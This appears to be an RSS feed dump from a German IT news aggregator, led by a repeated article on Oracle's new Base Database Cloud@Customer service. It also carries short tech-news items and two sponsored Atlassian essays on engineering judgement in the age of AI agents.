<p class="wp-block-paragraph">Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.</p>



<p class="wp-block-paragraph">These enterprises, according to <a href="https://www.hfsresearch.com/team/ashish-chaturvedi/" target="_blank" rel="noreferrer noopener">Ashish Chaturvedi</a>, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.</p>



<p class="wp-block-paragraph">The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a <a href="https://www.infoworld.com/article/3633997/oracle-offers-price-performance-boost-with-exadata-x11m-update.html">full Exadata rack</a>, said <a href="https://www.linkedin.com/in/amitchandak78/">Amit Chandak</a>, chief analytics officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.</p>



<p class="wp-block-paragraph">Deployment and maintenance becomes easier too, said <a href="https://moorinsightsstrategy.com/team/mike-leone/" target="_blank" rel="noreferrer noopener">Michael Leone</a>, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”</p>



<p class="wp-block-paragraph">The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.</p>



<h2 class="wp-block-heading">Private AI behind the firewall</h2>



<p class="wp-block-paragraph">Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.</p>



<p class="wp-block-paragraph">“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.</p>



<p class="wp-block-paragraph">More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said <a href="https://www.infotech.com/profiles/igor-ikonnikov" target="_blank" rel="noreferrer noopener">Igor Ikonnikov</a>, advisory fellow at Info-Tech Research Group.</p>



<p class="wp-block-paragraph">Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.</p>



<p class="wp-block-paragraph">The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst <a href="https://www.forrester.com/analyst-bio/noel-yuhanna/BIO852">Noel Yuhanna</a>. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”</p>



<p class="wp-block-paragraph">Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”</p>



<p class="wp-block-paragraph">Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.</p>



<p class="wp-block-paragraph">However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.</p>



<p class="wp-block-paragraph">Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”</p>



<p class="wp-block-paragraph">The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.</p>



<p class="wp-block-paragraph">Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.cio.com/article/4200176/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads.html">CIO</a>.</em></p>
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<title><![CDATA[Oracle expands Cloud@Customer with new database service for mid-sized workloads]]></title>
<description><![CDATA[Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-...]]></description>
<link>https://tsecurity.de/de/3687195/it-security-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687195/it-security-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</guid>
<pubDate>Wed, 22 Jul 2026 19:56:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Oracle is expanding its <a href="https://www.cio.com/article/649108/oracle-adds-compute-services-to-its-cloudcustomer-offering.html">Cloud@Customer on-premises portfolio</a> with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.</p>



<p class="wp-block-paragraph">The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.</p>



<p class="wp-block-paragraph">The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.</p>



<h2 class="wp-block-heading">For regulated industries or restricted connectivity</h2>



<p class="wp-block-paragraph">Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.</p>



<p class="wp-block-paragraph">These enterprises, according to <a href="https://www.hfsresearch.com/team/ashish-chaturvedi/" target="_blank" rel="noreferrer noopener">Ashish Chaturvedi</a>, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.</p>



<p class="wp-block-paragraph">The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a <a href="https://www.infoworld.com/article/3633997/oracle-offers-price-performance-boost-with-exadata-x11m-update.html">full Exadata rack</a>, said <a href="https://www.linkedin.com/in/amitchandak78/">Amit Chandak</a>, chief analytics officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.</p>



<p class="wp-block-paragraph">Deployment and maintenance becomes easier too, said <a href="https://moorinsightsstrategy.com/team/mike-leone/" target="_blank" rel="noreferrer noopener">Michael Leone</a>, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”</p>



<p class="wp-block-paragraph">The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.</p>



<h2 class="wp-block-heading">Private AI behind the firewall</h2>



<p class="wp-block-paragraph">Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.</p>



<p class="wp-block-paragraph">“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.</p>



<p class="wp-block-paragraph">More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said <a href="https://www.infotech.com/profiles/igor-ikonnikov" target="_blank" rel="noreferrer noopener">Igor Ikonnikov</a>, advisory fellow at Info-Tech Research Group.</p>



<p class="wp-block-paragraph">Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.</p>



<p class="wp-block-paragraph">The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst <a href="https://www.forrester.com/analyst-bio/noel-yuhanna/BIO852">Noel Yuhanna</a>. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”</p>



<p class="wp-block-paragraph">Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”</p>



<p class="wp-block-paragraph">Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.</p>



<p class="wp-block-paragraph">However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.</p>



<p class="wp-block-paragraph">Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”</p>



<p class="wp-block-paragraph">The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.</p>



<p class="wp-block-paragraph">Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.cio.com/article/4200176/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads.html">CIO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Oracle expands Cloud@Customer with new database service for mid-sized workloads]]></title>
<description><![CDATA[Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-...]]></description>
<link>https://tsecurity.de/de/3687189/it-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687189/it-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</guid>
<pubDate>Wed, 22 Jul 2026 19:49:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Oracle is expanding its <a href="https://www.cio.com/article/649108/oracle-adds-compute-services-to-its-cloudcustomer-offering.html">Cloud@Customer on-premises portfolio</a> with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.</p>



<p class="wp-block-paragraph">The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.</p>



<p class="wp-block-paragraph">The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.</p>



<h2 class="wp-block-heading">For regulated industries or restricted connectivity</h2>



<p class="wp-block-paragraph">Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.</p>



<p class="wp-block-paragraph">These enterprises, according to <a href="https://www.hfsresearch.com/team/ashish-chaturvedi/" target="_blank" rel="noreferrer noopener">Ashish Chaturvedi</a>, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.</p>



<p class="wp-block-paragraph">The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a <a href="https://www.infoworld.com/article/3633997/oracle-offers-price-performance-boost-with-exadata-x11m-update.html">full Exadata rack</a>, said <a href="https://www.linkedin.com/in/amitchandak78/">Amit Chandak</a>, chief analytics officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.</p>



<p class="wp-block-paragraph">Deployment and maintenance becomes easier too, said <a href="https://moorinsightsstrategy.com/team/mike-leone/" target="_blank" rel="noreferrer noopener">Michael Leone</a>, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”</p>



<p class="wp-block-paragraph">The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.</p>



<h2 class="wp-block-heading">Private AI behind the firewall</h2>



<p class="wp-block-paragraph">Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.</p>



<p class="wp-block-paragraph">“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.</p>



<p class="wp-block-paragraph">More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said <a href="https://www.infotech.com/profiles/igor-ikonnikov" target="_blank" rel="noreferrer noopener">Igor Ikonnikov</a>, advisory fellow at Info-Tech Research Group.</p>



<p class="wp-block-paragraph">Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.</p>



<p class="wp-block-paragraph">The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst <a href="https://www.forrester.com/analyst-bio/noel-yuhanna/BIO852">Noel Yuhanna</a>. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”</p>



<p class="wp-block-paragraph">Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”</p>



<p class="wp-block-paragraph">Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.</p>



<p class="wp-block-paragraph">However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.</p>



<p class="wp-block-paragraph">Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”</p>



<p class="wp-block-paragraph">The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.</p>



<p class="wp-block-paragraph">Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Maryland School Board Calls for Data Center Buffer Zone]]></title>
<description><![CDATA[Frederick County school board leadership is calling for a permanent buffer around Carroll Manor Elementary School as plans move forward for the Quantum Frederick Data Center Campus.]]></description>
<link>https://tsecurity.de/de/3687138/ai-nachrichten/maryland-school-board-calls-for-data-center-buffer-zone/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687138/ai-nachrichten/maryland-school-board-calls-for-data-center-buffer-zone/</guid>
<pubDate>Wed, 22 Jul 2026 19:20:16 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Frederick County school board leadership is calling for a permanent buffer around Carroll Manor Elementary School as plans move forward for the Quantum Frederick Data Center Campus.]]></content:encoded>
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<title><![CDATA[Microsoft Defender for Office 365 | Unified Submissions: End User Reporting]]></title>
<description><![CDATA[Author: Microsoft Security - Bewertung: 0x - Views:14 Learn how users can report suspicious emails, attachments, Teams messages, meetings, calls, and other potentially malicious content using Microsoft Defender for Office 365. This video demonstrates the built-in reporting features available in O...]]></description>
<link>https://tsecurity.de/de/3687137/it-security-video/microsoft-defender-for-office-365-unified-submissions-end-user-reporting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687137/it-security-video/microsoft-defender-for-office-365-unified-submissions-end-user-reporting/</guid>
<pubDate>Wed, 22 Jul 2026 19:19:41 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Microsoft Security - Bewertung: 0x - Views:14 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/jC1k3Pc2Mwc?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Learn how users can report suspicious emails, attachments, Teams messages, meetings, calls, and other potentially malicious content using Microsoft Defender for Office 365. This video demonstrates the built-in reporting features available in Outlook and Microsoft Teams, including managing quarantined messages and helping organizations strengthen their security posture through timely user-reported submissions.<br />
<br />
Learn more: https://msft.it/6058vfBKy<br />
<br />
#DefenderforOffice365 #MicrosoftSecurity #UserReporting<br/></p>]]></content:encoded>
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<title><![CDATA[Microsoft 2.5: A new series on the next generation of leaders]]></title>
<description><![CDATA[Mary Jo Foley is launching a GeekWire series profiling the people and priorities behind Microsoft's evolution. It's a look at what she calls the "Microsoft 2.5" era, where cloud and AI dominate but the company still can't walk away from Windows, Office, and enterprise customers whose products wer...]]></description>
<link>https://tsecurity.de/de/3687134/it-nachrichten/microsoft-25-a-new-series-on-the-next-generation-of-leaders/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687134/it-nachrichten/microsoft-25-a-new-series-on-the-next-generation-of-leaders/</guid>
<pubDate>Wed, 22 Jul 2026 19:18:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img fetchpriority="high" loading="eager" width="1260" height="841" src="https://cdn.geekwire.com/wp-content/uploads/2026/07/msft2-5-1260x841.png" class="webfeedsFeaturedVisual wp-post-image" alt="" decoding="async" srcset="https://cdn.geekwire.com/wp-content/uploads/2026/07/msft2-5-1260x841.png 1260w, https://cdn.geekwire.com/wp-content/uploads/2026/07/msft2-5-768x512.png 768w, https://cdn.geekwire.com/wp-content/uploads/2026/07/msft2-5.png 1535w" sizes="(max-width: 1260px) 100vw, 1260px"><br>Mary Jo Foley is launching a GeekWire series profiling the people and priorities behind Microsoft's evolution. It's a look at what she calls the "Microsoft 2.5" era, where cloud and AI dominate but the company still can't walk away from Windows, Office, and enterprise customers whose products weren't built around AI. <a href="https://www.geekwire.com/2026/microsoft-2-5-a-new-series-on-the-next-generation-of-leaders/">Read More</a>]]></content:encoded>
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<title><![CDATA[The engineering bottleneck has changed. Is your org prepared?]]></title>
<description><![CDATA[AI agents can turn a clear description into working software, the engineer’s judgement is what makes the difference: deciding what to build, catching the tradeoff the agent didn’t know to weigh, and owning the call on whether the result is right.



That judgement has always been the hard part of...]]></description>
<link>https://tsecurity.de/de/3687009/it-security-nachrichten/the-engineering-bottleneck-has-changed-is-your-org-prepared/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687009/it-security-nachrichten/the-engineering-bottleneck-has-changed-is-your-org-prepared/</guid>
<pubDate>Wed, 22 Jul 2026 18:28:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">AI agents can turn a clear description into working software, the engineer’s judgement is what makes the difference: deciding what to build, catching the tradeoff the agent didn’t know to weigh, and owning the call on whether the result is right.</p>



<p class="wp-block-paragraph">That judgement has always been the hard part of engineering. It just used to be bundled into the act of writing code, where a skilled engineer did it while typing. As agents take on more of the typing, that judgement separates out and becomes the clear center of the role. Leaders who adapt early will get their metrics, their talent pipelines, and their delivery models working with this shift rather than against it.</p>



<h3 class="wp-block-heading">Judgement is defining, constraining, and deciding</h3>



<p class="wp-block-paragraph">Judgement is all about defining the problem precisely enough that an agent builds the right thing. It’s setting the constraints the agent won’t infer on its own. It’s spotting the tradeoff buried three layers down that only shows up if you understand the system. And it’s looking at a finished implementation and knowing whether it’s genuinely good enough to ship.</p>



<p class="wp-block-paragraph">This is the harder part of the job and the real driver of quality. It was easy to underrate when it lived inside day-to-day coding. Now it’s what separates a strong team from an average one.</p>



<h3 class="wp-block-heading">The shift changes where time, growth, and metrics go</h3>



<p class="wp-block-paragraph">If the high-value activity is intent, review, and judgement rather than raw output, a few assumptions are worth revisiting.</p>



<p class="wp-block-paragraph"><strong>Where engineers spend their time.</strong> Less of the day goes to producing boilerplate and mechanical implementation, and more goes to the reasoning that used to get squeezed to the edges: framing the problem and owning the judgement calls that determine quality.</p>



<p class="wp-block-paragraph"><strong>How teams grow their people.</strong> Defining problems well, spotting risk, and critically evaluating work you didn’t write yourself have always been senior skills. When agents handle more of the mechanical work, those skills become learnable earlier. That puts the emphasis on leaders to teach the reasoning: why a choice gets made and how to weigh the tradeoffs that come with it.</p>



<p class="wp-block-paragraph"><strong>What you measure.</strong> Lines shipped, tickets closed, and velocity charts all measured throughput of the old scarce resource. They say very little about the new one. The teams that adapt will start measuring the quality of intent going in and the reliability of judgement coming out, because that’s where the results now live.</p>



<h3 class="wp-block-heading">Reinvest the time you get back</h3>



<p class="wp-block-paragraph">The tempting response is to treat the freed-up capacity as pure speed: same work, same tooling, just faster. That captures the easy win and misses the real one. If engineers spend their reclaimed time reviewing a rising volume of agent output with no better context than before, review quietly becomes the new constraint, and you’ve moved the problem rather than solved it.</p>



<p class="wp-block-paragraph">The organizations that get ahead will invest the reclaimed capacity into the judgement layer: creating stronger specs and acceptance criteria before work starts, building review practices that test agent output against intent, and capturing the reasoning behind decisions where the next person can find it, so it doesn’t have to be reconstructed every time. That’s how the shift becomes an advantage for your team.</p>



<h3 class="wp-block-heading">The through-line for leaders</h3>



<p class="wp-block-paragraph">The engineering job is moving up a level, from executing the work to directing and validating it. That’s a more strategic role, and it rewards clarity of thought over speed of output. Leaders who see the shift early can help their engineers grow into the work that’s now most valuable.</p>



<p class="wp-block-paragraph">See how leading engineering organizations are operationalizing this shift at <a href="https://www.atlassian.com/software/jira/dev?utm_source=foundry&amp;utm_medium=paid-social&amp;utm_campaign=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld&amp;utm_content=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld%7CU:cio-2" target="_blank" rel="noreferrer noopener">jira.dev.</a></p>
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<title><![CDATA[The compound effect your AI adoption strategy is missing]]></title>
<description><![CDATA[For many engineering teams, AI adoption means individual engineers write code faster while overall team velocity remains stagnant. Individual speed and team speed are produced by different things, and AI has mostly accelerated the first but not the second.



The step from individual AI adoption ...]]></description>
<link>https://tsecurity.de/de/3686645/it-nachrichten/the-compound-effect-your-ai-adoption-strategy-is-missing/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686645/it-nachrichten/the-compound-effect-your-ai-adoption-strategy-is-missing/</guid>
<pubDate>Wed, 22 Jul 2026 16:23:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">For many engineering teams, AI adoption means individual engineers write code faster while overall team velocity remains stagnant. Individual speed and team speed are produced by different things, and AI has mostly accelerated the first but not the second.</p>



<p class="wp-block-paragraph">The step from individual AI adoption to team advantage is one many organizations haven’t taken yet, but it’s the step where real ROI lives. Make the leap and every individual gain starts compounding into something the whole team feels.</p>



<h3 class="wp-block-heading">Faster individuals, but the same team pace</h3>



<p class="wp-block-paragraph">A developer with a good AI assistant can produce more and produce faster, but ten developers all doing that, each in their own way, with their own tools and their own context, don’t add up to a team that is ten times better. More often they add up to a team moving faster in ten different directions.</p>



<p class="wp-block-paragraph">The speed stays with the person who created it. The reasoning, context, and decisions that the rest of the team would need to build on that speed gets lost.</p>



<p class="wp-block-paragraph">These three structural problems explain why:</p>



<h3 class="wp-block-heading">Problem #1: Context evaporates at scale</h3>



<p class="wp-block-paragraph">An engineer spends an hour with an AI agent working through a hard design decision. They land somewhere good. The code ships. But the reasoning, the alternatives they ruled out, and the constraints they discovered stay in a chat history nobody else will ever open. Six weeks later a teammate touches the same system, has no idea any of that thinking happened, and starts over.</p>



<p class="wp-block-paragraph">You can’t prompt your way out of a context vacuum. Agents and teammates alike are only as good as the context they start with, and right now most of that context is being generated and immediately lost. The teams that pull ahead will be the ones that treat the reasoning around the work as something worth capturing.</p>



<h3 class="wp-block-heading">Problem #2: Misalignment creates duplicative work</h3>



<p class="wp-block-paragraph">When individuals move fast in parallel without a shared source of truth, they start stepping on each other’s toes. Two people solve the same problem two different ways. An agent generates a change against a spec that quietly went stale last week. A confidently written pull request follows the wrong internal standard because the standard lived in someone’s head, not in the workflow.</p>



<p class="wp-block-paragraph">This problem gets worse as more of the work becomes agent-driven. Agents overwrite each other. Specs drift out of date faster than anyone updates them. The faster the individual pieces move, the more expensive the collisions become.</p>



<h3 class="wp-block-heading">Problem #3: Trust doesn’t scale</h3>



<p class="wp-block-paragraph">The quiet tax on AI-assisted work is review. If an individual developer can’t see how a piece of work was produced, what the intent was, what the agent was told, what standards it was working against, then they can’t confidently build on it. So, they re-check it, or rewrite it, or route around it. The individual saved an hour. The team spent two earning back the trust.</p>



<p class="wp-block-paragraph">Trust transfers when intent is legible. When a teammate or a reviewer can see what was meant, what was decided, and what guardrails applied, they can accept the work and move on. When they can’t, every handoff becomes a re-litigation.</p>



<h3 class="wp-block-heading">Turning adoption into advantage</h3>



<p class="wp-block-paragraph">The through-line across all three problems is the same. The value of AI at the team level does not live in the code any single person or agent produces. It lives in whether the intent and context around that work is captured, shared, and reusable by everyone else, human and agent.</p>



<p class="wp-block-paragraph">That reframes the leadership job. It’s not about driving more adoption, because your teams already handled that. It’s about building the connective layer that turns individual output into team capability.</p>



<h3 class="wp-block-heading">The window is now</h3>



<p class="wp-block-paragraph">This matters more every month, because the individual productivity story is about to become an agent orchestration story. The organizations that turn individual adoption into team advantage now, while the habits are still forming, will be the ones whose agents actually compound.</p>



<p class="wp-block-paragraph">See how engineering leaders are building the connective layer between individual AI adoption and team-level compound returns at <a href="https://www.atlassian.com/software/jira/dev?utm_source=foundry&amp;utm_medium=paid-social&amp;utm_campaign=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld&amp;utm_content=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld%7CU:cio-1" target="_blank" rel="noreferrer noopener">jira.dev.</a></p>



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<title><![CDATA[WhatsApp adds Apple CarPlay and Android Auto upgrades, iPad sign-ups, and more]]></title>
<description><![CDATA[WhatsApp on Apple CarPlay and Android Auto will let users hear and reply to messages, make calls, view their call history, and access favorite contacts hands-free and right from their car's screen.]]></description>
<link>https://tsecurity.de/de/3686400/it-nachrichten/whatsapp-adds-apple-carplay-and-android-auto-upgrades-ipad-sign-ups-and-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686400/it-nachrichten/whatsapp-adds-apple-carplay-and-android-auto-upgrades-ipad-sign-ups-and-more/</guid>
<pubDate>Wed, 22 Jul 2026 15:06:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[WhatsApp on Apple CarPlay and Android Auto will let users hear and reply to messages, make calls, view their call history, and access favorite contacts hands-free and right from their car's screen.]]></content:encoded>
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<title><![CDATA[Samsung Galaxy Z Flip 8 hands-on: Slightly thinner, but more expensive]]></title>
<description><![CDATA[It's a year of minor upgrades for the Z Flip series.]]></description>
<link>https://tsecurity.de/de/3686371/it-nachrichten/samsung-galaxy-z-flip-8-hands-on-slightly-thinner-but-more-expensive/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686371/it-nachrichten/samsung-galaxy-z-flip-8-hands-on-slightly-thinner-but-more-expensive/</guid>
<pubDate>Wed, 22 Jul 2026 15:05:23 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It's a year of minor upgrades for the Z Flip series.]]></content:encoded>
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<title><![CDATA[Ireland stalls €1B Microsoft tender amid digital sovereignty questions]]></title>
<description><![CDATA[Government plans another Redmond-only procurement despite calls to consider European rivals]]></description>
<link>https://tsecurity.de/de/3686295/it-nachrichten/ireland-stalls-1b-microsoft-tender-amid-digital-sovereignty-questions/</link>
